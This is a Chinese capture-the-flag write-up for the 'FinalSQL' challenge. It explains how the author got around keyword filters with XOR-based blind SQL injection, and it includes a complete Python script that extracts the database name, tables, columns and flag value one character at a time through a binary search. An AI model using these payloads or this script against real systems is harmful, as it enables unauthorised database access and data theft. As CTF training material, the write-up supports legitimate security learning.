标签:极客 FinalSQL 颜值 异或 mid flag low 关卡 ord
1、首先打开题目如下:
2、寻找注入点,点击神秘代码发现会返回不同的信息,然后尝试union、and等关键字发现被屏蔽,如下:
3、关键词被过滤了,使用不了报错注入、联合注入、bool注入,因此想到了异或注入,经过尝试发现^符号未被过滤,(1^2=3),如下:
4、发现了注入点就需要进行尝试去编写脚本去获取数据库名称、表名称、列名称、数据库内的值,因为这里与[WUSTCTF2020]颜值成绩查询-1关卡类似,其脚本语言也是类似,在做[WUSTCTF2020]颜值成绩查询-1关卡时已写过一遍获取flag的脚本,因此这里直接在网上查找了下,最终通过以下脚本获取到flag值,脚本和结果如下:
import time
import requests
url = "http://e92fadb9-dc06-4156-8184-cb5346128636.node4.buuoj.cn:81/search.php"
flag = ''
for i in range(1,300):
low = 32
high = 127
while low < high:
mid = (low+high)//2
# database = "?id=1^(ord(substr((select(database())),%d,1))>%d)^1" % (i, mid)
# tables = "?id=1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,mid)
# columns = "?id=1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,mid)
data = "?id=1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, mid)
# 根据需要查询的内容改变get中的参数
r = requests.get(url=url+data)
if 'Click' in r.text:
low = mid + 1
else:
high = mid
time.sleep(0.1)
flag += chr(low)
print("\r", end="")
print(flag,end='')
强烈推荐完成此关卡之后去学习下:[WUSTCTF2020]颜值成绩查询-1关卡,这里是记录的自己的[WUSTCTF2020]颜值成绩查询-1关卡通关过程,包含每一步的思路和判断,最后的代码只需要执行就可获取flag:https://www.cnblogs.com/upfine/p/16367693.html
标签:极客,FinalSQL,颜值,异或,mid,flag,low,关卡,ord 来源: https://www.cnblogs.com/upfine/p/16425045.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。